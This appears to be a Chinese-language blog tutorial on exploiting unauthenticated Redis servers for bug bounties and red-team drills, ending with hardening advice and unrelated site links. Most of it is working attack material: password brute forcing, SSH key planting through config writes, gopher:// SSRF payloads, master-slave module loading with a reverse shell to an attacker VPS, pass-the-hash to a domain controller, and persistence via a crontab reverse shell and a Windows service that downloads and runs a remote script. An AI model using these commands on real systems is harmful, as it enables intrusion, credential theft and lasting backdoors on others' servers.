当前位置: 首页 > news >正文

Redis 未授权访问漏洞全解析:从原理到突破

Redis 未授权访问漏洞全解析:从原理到红队域控突破(含 SRC 挖掘、工具链与护网实战)

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”)及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
  4. 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。

作为护网红队,Redis 未授权访问漏洞是内网渗透中 “低成本、高收益” 的核心漏洞 —— 它源于 Redis 默认配置的安全缺陷(无密码认证、绑定 0.0.0.0),攻击者可直接连接 Redis 服务,通过写入文件、主从复制 RCE 等方式获取服务器权限,甚至横向渗透至域控。在 SRC 中,Redis 未授权因验证简单(扫描端口 + 连接测试)、危害明确(高危),是快速产出的优质方向;在护网行动中,它更是 “从 DMZ 区突破到核心区” 的关键跳板,常与 SSRF、端口转发等技术结合形成致命攻击链。本文将从原理出发,系统化拆解漏洞成因、SRC 挖掘方法、核心工具,结合实战与护网案例,阐述红队如何利用 Redis 未授权实现从单点突破到域控控制的全流程。

一、Redis 未授权访问漏洞核心原理:“配置缺陷导致的权限失控”

Redis(Remote Dictionary Server)是开源的高性能键值对数据库,默认使用 6379 端口。未授权访问漏洞的本质是Redis 服务因配置不当,允许未认证用户直接连接并执行任意操作,核心成因可归结为三类配置缺陷,三者满足其一即可触发漏洞:

1. 核心成因:三类致命配置

(1)无密码认证(默认配置缺陷)

Redis 默认未启用密码认证(requirepass参数未设置),攻击者无需输入密码,通过redis-cli或其他客户端即可直接连接服务:

# 攻击者直接连接目标Redis,无需密码
redis-cli -h 192.168.1.10 -p 6379
192.168.1.10:6379> set test 123  # 可正常执行写操作,证明未授权
OK
(2)绑定所有网卡(暴露风险)

Redis 默认配置bind 0.0.0.0,意味着服务监听所有网卡的 6379 端口,不仅内网可访问,外网也能直接连接(若防火墙未拦截 6379 端口)。这种配置将内网服务直接暴露到公网,为攻击者提供了远程攻击入口。

(3)弱密码认证(形同虚设)

部分管理员虽配置了密码(requirepass),但密码过于简单(如123456redispassword),攻击者通过字典爆破即可破解,本质仍属于 “未授权级” 的访问控制缺陷:

# 使用redis-brute工具爆破弱密码
hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.10 redis -s 6379
# 爆破成功后,用密码连接
redis-cli -h 192.168.1.10 -p 6379 -a 123456

2. 漏洞危害:从文件写入到服务器受控

Redis 未授权访问的危害随攻击者操作逐步升级,核心危害场景按严重程度排序如下:

危害类型具体操作红队价值
敏感信息泄露执行keys *查看所有键、get [key]读取数据(如数据库密码、用户哈希)获取内网凭证,为横向渗透奠基
文件写入通过config set dir [路径]+config set dbfilename [文件名]写入文件(如 SSH 公钥、webshell)直接获取服务器权限(Linux 优先用此方法)
主从复制 RCE利用 Redis 主从复制机制,将恶意.so 文件加载为模块,执行系统命令跨系统(Linux/Windows)通用,可直接获取 shell
数据库篡改清空数据(flushall)、篡改业务数据(如修改订单金额)破坏业务可用性,制造混乱
端口转发利用 Redis 的slaveof命令建立主从连接,将目标服务器作为跳板转发流量突破内网隔离,访问更深层网段

3. 与其他漏洞的关联(攻击链价值)

Redis 未授权极少单独存在,常与其他漏洞结合形成攻击链,扩大影响范围:

  • SSRF + Redis 未授权:通过 SSRF 漏洞(如 Web 服务的 URL 参数可控),让服务器代替攻击者连接内网 Redis(gopher://192.168.1.10:6379/_set%20test%20123),突破外网无法直接访问内网 Redis 的限制;
  • Redis 未授权 + 密码复用:获取 Redis 中存储的域管理员密码(如get domain_admin_pass),用于登录域控或其他内网主机;
  • Redis 未授权 + 内核漏洞:通过 Redis 获取低权限 shell 后,利用Dirty Cow(Linux)、MS16-032(Windows)等内核漏洞提权至 root/System。

二、SRC 中快速挖掘 Redis 未授权访问漏洞:实战流程

SRC 中 Redis 未授权的挖掘核心是 “端口扫描定位目标→连接测试验证漏洞→文件写入证明危害”,流程简单高效,10 分钟内可完成单目标验证:

1. 第一步:筛选高风险目标(优先测试)

Redis 未授权主要存在于 “暴露 6379 端口 + 配置缺陷” 的资产,需按以下优先级筛选目标:

目标类型筛选条件识别方法
公网暴露资产6379 端口对外开放(防火墙未拦截)用 nmap 批量扫描 SRC 资产的 6379 端口:nmap -p 6379 -iL src-targets.txt -oG redis-result.txt
内网映射资产虽为内网 IP,但通过端口映射 / VPN 暴露到外网查看 SRC 资产标签,筛选 “DMZ 区”“内网映射” 资产
老旧 Redis 版本Redis < 5.0.0(主从复制 RCE 更容易触发)连接后执行info server查看版本:redis-cli -h 192.168.1.10 -p 6379 info server

关键提示:SRC 中部分资产虽开放 6379 端口,但可能是 “伪装服务”(如非 Redis 服务占用 6379),需进一步连接验证。

2. 第二步:验证漏洞存在性(核心步骤)

通过 “端口探测→连接测试→权限验证” 三步确认是否存在未授权访问,工具以redis-cli(原生客户端)和nmap为主:

(1)端口探测:确认 6379 端口开放且为 Redis 服务
# 方法1:用nmap探测端口并识别服务
nmap -p 6379 -sV 192.168.1.10  # -sV:探测服务版本
# 若输出“6379/tcp open  redis   Redis 5.0.7”→确认是Redis服务# 方法2:用telnet测试端口连通性
telnet 192.168.1.10 6379
# 若连接成功并显示“Redis version 5.0.7”→端口开放
(2)连接测试:验证是否无需密码 / 弱密码
# 尝试无密码连接
redis-cli -h 192.168.1.10 -p 6379
# 若直接进入交互界面(显示“192.168.1.10:6379>”)→未授权访问成立# 若提示“NOAUTH Authentication required”→存在密码,尝试弱密码爆破
# 用hydra爆破(字典用rockyou.txt)
hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.10 redis -s 6379
# 爆破成功后,用密码连接:redis-cli -h 192.168.1.10 -p 6379 -a [密码]
(3)权限验证:确认可执行写操作

连接成功后,执行写操作(如set命令)验证是否有完整权限:

192.168.1.10:6379> set test_key "src_vuln_proof"  # 写入测试键
OK  # 返回OK→有写权限,漏洞可利用
192.168.1.10:6379> get test_key  # 读取测试键,验证写入成功
"src_vuln_proof"

3. 第三步:证明漏洞危害(SRC 提交核心依据)

仅连接成功不构成高危漏洞,需证明 “可对服务器造成实质影响”,优先选择以下两种证明方式(无破坏性,符合 SRC 规则):

(1)读取敏感信息(推荐)

执行info命令读取 Redis 配置与系统信息,或keys *查看存储的键,截图包含敏感信息的响应:

192.168.1.10:6379> info  # 读取Redis信息,包含服务器IP、版本、系统类型
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:abc123def456
redis_mode:standalone
os:Linux 3.10.0-1160.el7.x86_64 x86_64  # 系统类型为Linux
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:4.8.5
process_id:1234
run_id:abc123def4567890abc123def4567890
tcp_port:6379
uptime_in_seconds:86400
uptime_in_days:1
hz:10
configured_hz:10
lru_clock:12345678
executable:/usr/local/redis/bin/redis-server
config_file:/etc/redis.conf  # Redis配置文件路径(可后续尝试读取)192.168.1.10:6379> keys *  # 查看所有键,若存在“db_pass”“user_info”等键→敏感信息
1) "db_pass"
2) "user_info"
3) "test_key"
(2)写入测试文件(无破坏性)

在临时目录(如/tmp)写入无害文件,证明可控制服务器文件系统:

# 1. 设置写入目录为/tmp(临时目录,不影响业务)
192.168.1.10:6379> config set dir /tmp
OK# 2. 设置文件名(如src_test.txt)
192.168.1.10:6379> config set dbfilename src_test.txt
OK# 3. 写入测试内容(键为test,值为src_vuln_proof)
192.168.1.10:6379> set test "src_vuln_proof"
OK# 4. 保存到文件
192.168.1.10:6379> save
OK# 5. 验证文件存在(若能通过其他方式访问,如SSH或webshell,截图文件内容)
# (SRC中若无其他权限,可仅提交Redis执行过程截图,证明写入能力)

4. SRC 提交技巧

  • 标题明确:标注 “【高危】192.168.1.10:6379 Redis 存在未授权访问漏洞,可写入文件获取权限”;
  • 步骤清晰:包含 “端口扫描→无密码连接→执行写操作” 的完整命令与响应截图;
  • 危害说明:强调 “可写入 SSH 公钥获取 root 权限,或通过主从复制执行命令,危害服务器安全”;
  • 修复建议:附配置加固方案(如设置密码、绑定内网 IP),提升报告专业性。

三、Redis 未授权访问漏洞利用工具链:从连接到 RCE

红队利用 Redis 未授权的工具需覆盖 “连接测试→文件写入→命令执行→横向渗透” 全流程,以下为核心工具及实战命令:

1. 基础连接与信息收集工具

(1)redis-cli(原生客户端,必备)

功能:Redis 官方客户端,用于连接服务、执行命令,是漏洞验证与利用的基础工具。

安装:Linux 默认自带,Windows 需下载Redis 安装包。

实战命令

# 1. 无密码连接
redis-cli -h 192.168.1.10 -p 6379  # -h:目标IP,-p:端口# 2. 有密码连接(已知密码或爆破后)
redis-cli -h 192.168.1.10 -p 6379 -a 123456  # -a:密码# 3. 远程执行命令(无需进入交互界面)
redis-cli -h 192.168.1.10 -p 6379 "set test 123"  # 直接执行set命令
redis-cli -h 192.168.1.10 -p 6379 "info server"   # 读取服务器信息# 4. 连接内网Redis(通过跳板机端口转发)
# 在跳板机执行端口转发:ssh -L 6379:10.0.0.5:6379 root@192.168.1.10
# 本地连接:redis-cli -h 127.0.0.1 -p 6379
(2)RedisDesktopManager(可视化工具)

功能:图形化 Redis 客户端,适合查看键值对数据、管理 Redis 配置,直观高效。

实战操作

  1. 打开工具→点击 “Connect to Redis Server”;
  2. 输入目标 IP(192.168.1.10)、端口(6379),若有密码则填写;
  3. 连接成功后,左侧显示所有数据库,右侧可查看 / 编辑键值对(如双击 “db_pass” 键查看数据库密码)。
(3)Hydra(弱密码爆破工具)

功能:针对 Redis 密码进行字典爆破,突破弱密码认证。

实战命令

# 语法:hydra -P [密码字典] [目标IP] redis -s [端口]
hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.10 redis -s 6379
# 爆破成功后,输出类似:[6379][redis] host: 192.168.1.10   login: redis   password: 123456

2. 漏洞利用工具(文件写入 + RCE)

(1)手动命令(写入 SSH 公钥,Linux 专属)

功能:无需工具,通过 Redis 命令写入攻击者的 SSH 公钥到目标服务器的~/.ssh/authorized_keys,实现无密码登录。

实战步骤

  1. 攻击者本地生成 SSH 密钥(若已存在可跳过):

    ssh-keygen -t rsa  # 一路回车,生成~/.ssh/id_rsa(私钥)和id_rsa.pub(公钥)
    
  2. 将公钥内容格式化为 Redis 可写入的字符串(去除换行,添加换行符):

    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > redis_ssh_key.txt
    
  3. 连接 Redis,写入公钥到目标服务器的~/.ssh/authorized_keys

    # 连接Redis
    redis-cli -h 192.168.1.10 -p 6379# 设置写入目录为目标用户的.ssh目录(通常为/root/.ssh或/home/user/.ssh,需先确认用户)
    192.168.1.10:6379> config set dir /root/.ssh
    OK# 设置文件名为authorized_keys(SSH公钥文件)
    192.168.1.10:6379> config set dbfilename authorized_keys
    OK# 读取本地公钥文件并写入Redis(本地执行,非Redis交互界面)
    cat redis_ssh_key.txt | redis-cli -h 192.168.1.10 -p 6379 -x set ssh_key  # -x:从标准输入读取值# 保存到文件
    192.168.1.10:6379> save
    OK
    
  4. 无密码 SSH 登录目标服务器:

    ssh root@192.168.1.10  # 无需输入密码,直接登录
    
(2)Gopherus(生成 SSRF 攻击 Payload)

功能:将 Redis 命令转换为gopher://协议的 Payload,用于通过 SSRF 漏洞间接攻击内网 Redis(突破外网无法直接访问内网的限制)。

实战步骤

  1. 安装 Gopherus:

    git clone https://github.com/tarunkant/Gopherus.git
    cd Gopherus
    python3 gopherus.py
    
  2. 选择 “Redis”,输入 Redis 命令(如写入测试键):

    1. Redis
    2. MySQL
    3. Postgres
    4. FastCGI
    Enter Choice: 1
    Enter Redis Command (Multiple commands can be separated with ;): set test ssrf_vuln; save
    
  3. 生成 Gopher Payload:

    Gopher Payload for Redis:
    gopher://192.168.1.10:6379/_*1%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Atest%0D%0A$8%0D%0Assrf_vuln%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
    
  4. 将 Payload URL 编码后,作为 SSRF 参数值发送(如http://target.com/ssrf?url=gopher://192.168.1.10:6379/_*1%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Atest%0D%0A$8%0D%0Assrf_vuln%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A),目标服务器会执行 Redis 命令。

(3)RedisModules-ExecuteCommand(主从复制 RCE 工具)

功能:生成恶意 Redis 模块(.so文件),通过主从复制机制加载模块,执行系统命令(支持 Linux/Windows,突破写入文件的限制)。

实战步骤(Linux)

  1. 下载工具并编译恶意模块:

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
    cd RedisModules-ExecuteCommand
    make  # 编译生成exp.so(Linux模块)
    
  2. 在攻击者 VPS 上启动临时 Redis 服务(作为主节点),加载恶意模块:

    # 启动临时Redis服务(端口6380)
    redis-server --port 6380 --daemonize yes# 连接临时Redis,设置恶意模块
    redis-cli -h 127.0.0.1 -p 6380
    127.0.0.1:6380> module load ./exp.so  # 加载恶意模块
    OK
    127.0.0.1:6380> config set dir /tmp  # 设置临时目录
    OK
    127.0.0.1:6380> config set dbfilename exp.so
    OK
    127.0.0.1:6380> save
    OK
    127.0.0.1:6380> bgsave  # 确保文件保存
    Background saving started
    
  3. 连接目标 Redis(从节点),建立主从复制并加载恶意模块:

    # 连接目标Redis
    redis-cli -h 192.168.1.10 -p 6379# 设置主节点为攻击者VPS(IP:6380)
    192.168.1.10:6379> slaveof VPS_IP 6380
    OK# 等待主从同步完成后,执行命令(如反弹shell)
    192.168.1.10:6379> system.exec "bash -i >& /dev/tcp/VPS_IP/4444 0>&1"
    
  4. 攻击者 VPS 监听端口,接收反弹 shell:

    nc -lvp 4444  # 成功接收shell,获取目标服务器权限
    
(4)Metasploit(Redis 模块,自动化 RCE)

功能:MSF 内置redis_unauth_rce模块,自动化检测 Redis 未授权并执行命令,适合快速获取 shell。

实战命令

# 启动MSF
msfconsole# 加载Redis未授权RCE模块
use exploit/multi/misc/redis_unauth_rce# 配置参数
set RHOSTS 192.168.1.10  # 目标IP
set RPORT 6379            # 目标端口
set LHOST VPS_IP         # 攻击者VPS IP(反弹shell用)
set LPORT 4444            # 监听端口# 执行攻击
run# 成功后获取meterpreter会话,可执行提权、横向移动等操作
meterpreter > getuid  # 查看当前用户权限
meterpreter > sysinfo  # 查看系统信息

四、实战与护网中 Redis 未授权访问的深度利用(从服务器到域控)

Redis 未授权在护网中的核心价值是 “作为内网突破的跳板”—— 从 DMZ 区的单点漏洞,扩展到内网多主机控制,最终拿下域控。以下为完整攻击链案例与技巧:

案例:护网中利用 Redis 未授权 + SSRF + 域内横向突破核心区

环境背景
  • 护网目标:某企业内网(外网→DMZ 区→办公区→核心区);
  • 初始突破点:DMZ 区 Web 服务器(172.16.1.10)存在 SSRF 漏洞(http://172.16.1.10/ssrf?url=http://example.com);
  • 内网资产:办公区 Redis 服务器(192.168.1.20:6379,未授权访问,可访问核心区域控10.0.0.1);
  • 目标:获取域控权限,控制核心区。
渗透步骤

阶段 1:通过 SSRF 攻击内网 Redis,获取办公区主机权限

  1. 生成 Gopher Payload

    用 Gopherus 生成 “写入 SSH 公钥” 的 Redis 命令 Payload(目标192.168.1.20:6379):

    gopher://192.168.1.20:6379/_*1%0D%0A$3%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$11%0D%0A/root/.ssh%0D%0A*1%0D%0A$3%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$3%0D%0Aset%0D%0A$7%0D%0Assh_key%0D%0A$222%0D%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...(攻击者公钥内容)%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
    
  2. 发送 SSRF 请求

    将 Payload URL 编码后,通过 DMZ 区 Web 的 SSRF 参数发送:

    http://172.16.1.10/ssrf?url=gopher://192.168.1.20:6379/_*1%0D%0A$3%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$11%0D%0A/root/.ssh%0D%0A*1%0D%0A$3%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$3%0D%0Aset%0D%0A$7%0D%0Assh_key%0D%0A$222%0D%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
    
  3. SSH 登录办公区 Redis 主机

    ssh root@192.168.1.20  # 无密码登录,获取办公区主机权限
    

阶段 2:从 Redis 主机收集域内凭证,横向渗透

  1. 读取 Redis 敏感数据

    连接本地 Redis(127.0.0.1:6379),获取存储的域用户凭证:

    redis-cli -h 127.0.0.1 -p 6379
    127.0.0.1:6379> keys *
    1) "domain_admin"
    2) "hr_db_pass"
    127.0.0.1:6379> get domain_admin
    "admin:Domain@2024!"  # 域管理员账号密码
    
  2. 探测核心区域控

    执行nmap -p 53,88,389 10.0.0.1(域控常用端口),确认10.0.0.1为域控(开放 88 端口 Kerberos 服务)。

  3. PTH 横向登录域控

    使用impacket工具的psexec模块,通过哈希传递(PTH)登录域控:

    # 先将密码转换为NTLM哈希(用hashcat或在线工具)
    # "Domain@2024!"的NTLM哈希为:A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6# PTH登录域控
    psexec.py -hashes :A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6 domain.com/admin@10.0.0.1
    
  4. 获取域控权限

    成功登录域控命令行,执行whoami显示domain\admin,获取核心区控制权,完成护网目标。

护网中 Redis 未授权的核心利用技巧

(1)内网环境适配:应对防火墙与隔离
  • 端口转发突破隔离:若目标 Redis 在内网深层(如10.0.0.5),通过已控制的 DMZ 主机(172.16.1.10)做端口转发:

    # 在DMZ主机执行,将10.0.0.5:6379转发到本地6379端口
    ssh -L 6379:10.0.0.5:6379 root@172.16.1.10
    # 本地连接:redis-cli -h 127.0.0.1 -p 6379
    
  • 利用主从复制穿透防火墙:若防火墙仅允许 6379 端口的出站连接,将攻击者 VPS 作为主节点,目标 Redis 作为从节点,通过主从复制传递恶意模块,绕过入站限制。

(2)权限提升:从低权限到 root/System
  • Linux 提权:通过 Redis 获取www-data权限后,利用 SUID 文件(find / -perm -u=s -type f 2>/dev/null)或内核漏洞(如CVE-2021-4034)提权至 root;
  • Windows 提权:通过主从复制 RCE 获取iusr权限后,利用ms16-032CVE-2020-0787等漏洞提权至 System。
(3)持久化控制:避免权限丢失
  • Linux 持久化:
    • 写入 SSH 公钥(~/.ssh/authorized_keys),确保重启后仍可登录;
    • 添加计划任务:echo "* * * * * root bash -i >& /dev/tcp/VPS_IP/4444 0>&1" >> /etc/crontab
  • Windows 持久化:
    • 创建服务:sc create RedisBackdoor binPath= "cmd /c powershell -nop -c \"IEX (New-Object System.Net.WebClient).DownloadString('http://VPS_IP/backdoor.ps1')\"" start= auto
    • 添加注册表启动项:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RedisBackdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"

五、Redis 未授权访问漏洞的防御与红队绕过技巧

1. 蓝队核心防御措施(彻底根治漏洞)

(1)配置加固(核心)

修改 Redis 配置文件(通常为/etc/redis.confredis.windows.conf),关键配置如下:

# 1. 绑定内网IP,禁止外网访问(仅允许内网指定IP连接)
bind 127.0.0.1 192.168.1.0/24  # 仅绑定本地回环和内网网段# 2. 设置强密码(至少8位,包含大小写、数字、特殊字符)
requirepass StrongRedisPass@2024!# 3. 启用保护模式(禁止公网访问)
protected-mode yes# 4. 限制Redis用户权限(以低权限用户运行,如redis用户)
# (Linux)useradd -m redis; chown -R redis:redis /usr/local/redis; su - redis -c "redis-server /etc/redis.conf"# 5. 禁用危险命令(重命名或禁用)
rename-command CONFIG ""  # 禁用CONFIG命令,防止修改目录和文件名
rename-command SAVE ""    # 禁用SAVE命令,防止写入文件
rename-command SLAVEOF "" # 禁用SLAVEOF命令,防止主从复制攻击
rename-command MODULE ""  # 禁用MODULE命令,防止加载恶意模块# 6. 限制文件访问范围(Linux)
dir /var/lib/redis  # 设置固定数据目录,仅允许写入此目录
appendonly yes     # 启用AOF持久化,避免RDB文件被篡改
(2)网络防护
  • 防火墙拦截:外部防火墙禁止 6379 端口对外开放;内网防火墙限制仅允许信任 IP(如应用服务器)访问 Redis 端口;
  • VPN 访问:若需远程管理 Redis,通过 VPN 连接内网后操作,禁止公网直接访问。
(3)监控与审计
  • 日志开启:启用 Redis 日志(logfile /var/log/redis/redis-server.log),记录所有连接与命令操作;
  • 异常监控:监控 6379 端口的异常连接(如公网 IP 连接、大量CONFIG/SLAVEOF命令),触发告警;
  • 定期检查:每月执行redis-cli -h 127.0.0.1 -p 6379 info检查 Redis 配置与权限,排查未授权风险。

2. 红队绕过技巧(应对防御措施)

(1)绕过密码认证
  • 密码爆破:针对弱密码(如redis123Admin@123),用hydra+ 自定义字典爆破;
  • 配置文件读取:若能通过其他漏洞(如文件包含、SSRF)读取 Redis 配置文件(/etc/redis.conf),直接获取requirepass后的密码。
(2)绕过命令禁用
  • 命令拼接:若CONFIG被重命名为CONFIG_123,尝试猜测重命名后的命令(如CONFIG_123 set dir /tmp);
  • 主从复制绕过:若仅禁用MODULE命令,仍可通过主从复制同步恶意 RDB 文件,覆盖目标 Redis 数据目录,间接执行命令。
(3)绕过 IP 绑定
  • SSRF 代理:利用内网 Web 服务的 SSRF 漏洞,让绑定内网 IP 的 Redis 服务器主动连接攻击者 VPS(如gopher://127.0.0.1:6379/_set%20test%20123);
  • 内网跳板:通过已控制的内网主机(如192.168.1.10)作为跳板,连接绑定192.168.1.0/24的 Redis 服务。

六、总结

Redis 未授权访问漏洞的本质是 “配置安全意识缺失”,其在红队渗透中的核心价值是 “快速突破内网边界,获取高权限入口”—— 从 SRC 中的公网资产验证,到护网中的域控突破,均是红队的 “性价比之王” 漏洞。

红队利用 Redis 未授权的核心思维是 “链化攻击”:

  1. 入口层:通过端口扫描、SSRF 等方式定位内网 Redis;
  2. 利用层:根据系统类型选择 “SSH 公钥写入(Linux)” 或 “主从复制 RCE(Windows/Linux)”;
  3. 横向层:从 Redis 中提取域凭证,通过 PTH、漏洞攻击横向至其他主机;
  4. 控制层:拿下域控,实现内网全域控制。

重要提示:所有 Redis 漏洞测试必须在合法授权下进行,未经授权的连接与命令执行涉嫌 “非法侵入计算机信息系统”,需自行承担法律责任。

http://www.dtcms.com/a/504152.html

相关文章:

  • 龙华做网站公司快速排名程序
  • 用eclipse做网站开发代做网站推广的公司
  • 企业级RAG落地思考
  • 验证用户登录的两种方式
  • 笔试-精准核酸检测
  • 知识就是力量——制作一个红外计数器
  • 做网站如何大众汽车网站建设
  • 【Linux笔记】网络部分——应用层自定义协议与序列化
  • 上海招聘网站排名米方科技网站建设
  • 佛山网站建设企业推荐房地产交易网站模版
  • 江苏和住房建设厅网站深圳网站关键词
  • Qt--命名,快捷键及坐标系
  • 容器:软件世界的标准集装箱
  • 音乐网站系统源码百度引擎搜索引擎入口
  • 门户网站如何制作想学习做网站
  • 建设项目安监备案网站深圳公司贷款
  • 企业网站关键词应如何优化网站建设公司swot分析
  • 09_AI智能体开发环境搭建之Redis安装配置完整指南
  • Oracle RMAN三种不完全恢复实战详解:归档序号、时间点与SCN恢复对比
  • 公司网站托管网站做5级分销合法吗
  • 记事本做网站如何添加图片开发公司空置房物管费归口什么费用
  • 新网站建设渠道打开网页链接
  • Python 爬虫常用库:requests 与 BeautifulSoup 详解
  • 什么是MySQL JOIN查询的驱动表和被驱动表?
  • 网站推广服务费计入什么科目自适应网站开发文字大小如何处理
  • minio 数据库迁移
  • 佛山网站设计实力乐云seo规划电子商务网站建设方案
  • 大文件分片上传:简单案例(前端切割与后端合并)
  • 门户网站是网络表达吗山东国舜建设集团网站
  • dw网站建设字体颜色app网页设计网站